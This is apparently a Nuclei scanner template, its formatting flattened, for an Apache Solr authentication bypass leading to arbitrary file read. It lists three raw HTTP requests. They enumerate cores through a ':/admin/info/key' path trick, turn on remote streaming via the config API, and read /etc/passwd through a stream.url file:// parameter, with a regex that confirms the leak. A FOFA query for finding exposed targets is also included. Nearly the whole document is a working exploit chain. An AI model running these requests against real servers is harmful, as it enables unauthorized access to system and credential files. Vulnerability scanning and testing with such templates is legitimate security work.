Apache-Solr身份认证绕过和任意文件读取

id: solr-unauth-filereadinfo:  name: solr认证绕过导致任意文件读取漏洞  author: Thomas  severity: critical  reference: none  metadata:    fofa-query: app="APACHE-Solr"  tags: solr, filereadrequests:  - raw:      - |-        GET /solr/admin/cores:/admin/info/key?indexInfo=false&wt=json HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate      - |        POST /solr/{{core}}/config:/admin/info/key HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json        Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9        Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6        {"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}      - |        GET /solr/{{core}}/debug/dump:/admin/info/key?param=ContentStreams&stream.url=file:///etc/passwd HTTP/1.1        Host: {{Hostname}}        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9         Accept-Encoding: gzip, deflate         Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6         Connection: close    extractors:      - type: regex        internal: true        name: core        group: 1        regex:          - '"name":"(.*?)"'    matchers-condition: and    matchers:      - type: status        status:          - 200      - type: regex        regex:          - "root:.*:0:0:"